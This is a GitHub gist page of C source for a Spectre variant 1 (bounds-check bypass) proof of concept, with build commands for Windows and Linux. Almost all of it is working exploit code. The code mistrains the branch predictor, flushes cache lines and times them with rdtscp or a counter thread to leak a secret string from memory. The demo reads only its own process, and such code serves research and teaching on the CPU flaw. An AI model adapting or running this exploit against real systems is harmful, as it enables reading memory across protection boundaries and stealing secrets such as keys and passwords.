-
-
Save richinseattle/c7515eeb36092ec2f37e23e2fa04c52e to your computer and use it in GitHub Desktop.
Spectre example code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdint.h> | |
| #include <string.h> | |
| #ifdef _MSC_VER | |
| #include <intrin.h> // for rdtscp and clflush | |
| #pragma optimize("gt",on) | |
| #else | |
| #include <x86intrin.h> // for rdtscp and clflush | |
| #endif | |
| // spectre.c - richinseattle | |
| // updated from original version with pthread and windows loop counter thread | |
| // based on POC from project zero and Eugnis | |
| // spectre [threshold] [tries] | |
| // windows: cl /Od /Zi spectre.c && spectre.exe | |
| // linux: gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre | |
| // Linux rdtsc and counter based timer work on both 32 & 64 bit | |
| // Windows rdtsc works on both 32 & 64 bit | |
| // Windows counter based timer works only on 32 bit | |
| // define THREAD_TIMER to use loop counters instead of rdtscp | |
| //#define THREAD_TIMER | |
| #ifdef THREAD_TIMER | |
| #ifdef _MSC_VER | |
| #include <Windows.h> | |
| #else | |
| #include <pthread.h> | |
| #endif | |
| #endif | |
| // victim code | |
| unsigned int array1_size = 16; | |
| uint8_t unused1[64]; | |
| uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; | |
| uint8_t unused2[64]; | |
| uint8_t array2[256 * 512]; | |
| char *secret = "Magic"; | |
| // Used so compiler won’t optimize out victim_function() | |
| uint8_t temp = 0; | |
| void victim_function(size_t x) | |
| { | |
| if (x < array1_size) { | |
| temp &= array2[array1[x] * 512]; | |
| } | |
| } | |
| // loop based timers | |
| #ifdef THREAD_TIMER | |
| volatile uint32_t counter = 0; | |
| uint32_t exit_timer_thread = 0; | |
| uint32_t calibrate_loop() | |
| { | |
| counter = 0; | |
| int junk, c = 1000000; | |
| uint64_t time1 = __rdtscp( & junk); | |
| for (int i = 0; i < c; i++) counter++; | |
| uint64_t time2 = __rdtscp( & junk); | |
| float ratio = (time2 - time1) / (float)c; | |
| printf("calibrate_loop: %f ms per iteration\n\n", ratio); | |
| counter = 0; | |
| return (int)ratio; | |
| } | |
| #ifdef _MSC_VER // windows timer thread | |
| uint32_t CACHE_HIT_THRESHOLD = 30; // cache hit if time <= threshold | |
| uint32_t MAX_TRIES = 1500; | |
| DWORD WINAPI counter_function(void *data) { | |
| while (!exit_timer_thread) counter++; | |
| return 0; | |
| } | |
| #else // pthread timer thread | |
| uint32_t CACHE_HIT_THRESHOLD = 20; // cache hit if time <= threshold | |
| uint32_t MAX_TRIES = 500; | |
| void *counter_function(void *data) { | |
| while (!exit_timer_thread) counter++; | |
| return NULL; | |
| } | |
| #endif | |
| #else // rdtsc timer | |
| uint32_t CACHE_HIT_THRESHOLD = 80; | |
| uint32_t MAX_TRIES = 999; | |
| #endif | |
| // detection | |
| // Report best guess in value[0] and runner-up in value[1] | |
| void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { | |
| static int results[256]; | |
| int tries, i, j, k, mix_i, junk = 0; | |
| size_t training_x, x; | |
| register uint64_t time1, time2; | |
| volatile uint8_t * addr; | |
| for (i = 0; i < 256; i++) | |
| results[i] = 0; | |
| for (tries = MAX_TRIES; tries > 0; tries--) { | |
| // Flush array2[256*(0..255)] from cache | |
| for (i = 0; i < 256; i++) | |
| _mm_clflush( & array2[i * 512]); // intrinsic for clflush instruction | |
| // 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) | |
| training_x = tries % array1_size; | |
| for (j = 29; j >= 0; j--) { | |
| _mm_clflush( & array1_size); | |
| for (volatile int z = 0; z < 100; z++) {} // Delay (can also mfence) | |
| // Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 | |
| // Avoid jumps in case those tip off the branch predictor | |
| x = ((j % 6) - 1) & ~0xFFFF; // Set x=FFF.FF0000 if j%6==0, else x=0 | |
| x = (x | (x >> 16)); // Set x=-1 if j&6=0, else x=0 | |
| x = training_x ^ (x & (malicious_x ^ training_x)); | |
| // Call the victim! | |
| victim_function(x); | |
| } | |
| // Time reads. Order is lightly mixed up to prevent stride prediction | |
| for (i = 0; i < 256; i++) { | |
| mix_i = ((i * 167) + 13) & 255; | |
| addr = & array2[mix_i * 512]; | |
| #ifdef THREAD_TIMER | |
| time1 = counter; | |
| junk = *addr; // TIMED MEMORY ACCESS | |
| time2 = counter - time1; | |
| #else | |
| time1 = __rdtscp( & junk); | |
| junk = *addr; // TIMED MEMORY ACCESS | |
| time2 = __rdtscp( & junk) - time1; | |
| #endif | |
| if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) | |
| results[mix_i]++; // cache hit - add +1 to score for this value | |
| } | |
| // Locate highest & second-highest results results tallies in j/k | |
| j = k = -1; | |
| for (i = 0; i < 256; i++) { | |
| if (j < 0 || results[i] >= results[j]) { | |
| k = j; | |
| j = i; | |
| } else if (k < 0 || results[i] >= results[k]) { | |
| k = i; | |
| } | |
| } | |
| if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) | |
| break; // Clear success if best is > 2*runner-up + 5 or 2/0) | |
| } | |
| results[0] ^= junk; // use junk so code above won’t get optimized out | |
| value[0] = (uint8_t) j; | |
| score[0] = results[j]; | |
| value[1] = (uint8_t) k; | |
| score[1] = results[k]; | |
| } | |
| int main(int argc, const char **argv) | |
| { | |
| int len = strlen(secret); | |
| char *recovered_secret = calloc(len, 1); | |
| // write to array2 so in RAM not copy-on-write zero pages | |
| for (int i = 0; i < sizeof(array2); i++) array2[i] = 1; | |
| if (argc == 3) MAX_TRIES = atoi(argv[2]); | |
| if (argc >= 2) CACHE_HIT_THRESHOLD = atoi(argv[1]); | |
| #ifdef THREAD_TIMER | |
| #ifdef _MSC_VER | |
| //printf("WINDOWS timer\n"); | |
| //CACHE_HIT_THRESHOLD /= calibrate_loop(); | |
| calibrate_loop(); | |
| HANDLE timer_thread = CreateThread(NULL, 0, counter_function, NULL, 0, NULL); | |
| #else | |
| //printf("linux timer\n"); | |
| pthread_t timer_thread; | |
| if (pthread_create(&timer_thread, NULL, counter_function, NULL)) { | |
| fprintf(stderr, "Error creating thread\n"); | |
| return 1; | |
| } | |
| #endif | |
| #endif | |
| size_t malicious_x = (size_t)(secret - (char *)array1); | |
| uint8_t value[2], value_normalised[2]; | |
| int score[2]; | |
| printf("Reading %d bytes:\n", len); | |
| while (--len >= 0) { | |
| int selected_id = 0, not_selected_id = 1; | |
| char *not_selected_label = ""; | |
| printf("Reading at malicious_x = %p... ", (void *)malicious_x); | |
| readMemoryByte(malicious_x++, value, score); | |
| printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); | |
| selected_id = 0; | |
| not_selected_id = 1; | |
| not_selected_label = "second"; | |
| value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?'; | |
| value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?'; | |
| if (value_normalised[0] == '?' && value_normalised[1] != '?') { | |
| selected_id = 1; | |
| not_selected_id = 0; | |
| not_selected_label = "first"; | |
| } | |
| recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id]; | |
| if (score[1] == 0) { | |
| printf("0x%02X='%c' score=%d ", value[selected_id], | |
| value_normalised[selected_id], score[selected_id]); | |
| } else { | |
| printf("0x%02X='%c' score=%d ", value[selected_id], | |
| value_normalised[selected_id], score[selected_id]); | |
| printf("('%c|%c' %6s: 0x%02X='%c' score=%d)", value_normalised[0], | |
| value_normalised[1], not_selected_label, value[not_selected_id], | |
| value_normalised[not_selected_id], score[not_selected_id]); | |
| } | |
| printf("\n"); | |
| } | |
| printf("\n"); | |
| printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD); | |
| printf(" MAX_TRIES = %d\n", MAX_TRIES); | |
| printf("\n"); | |
| printf(" Original secret: '%s'\n", secret); | |
| printf("Recovered secret: '%s'\n", recovered_secret); | |
| printf("\n"); | |
| #ifdef THREAD_TIMER | |
| exit_timer_thread = 1; | |
| #ifdef _MSC_VER | |
| CloseHandle(timer_thread); | |
| #else | |
| if (pthread_join(timer_thread, NULL)) { | |
| fprintf(stderr, "Error joining thread\n"); | |
| return 1; | |
| } | |
| #endif | |
| #endif | |
| return (0); | |
| } | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment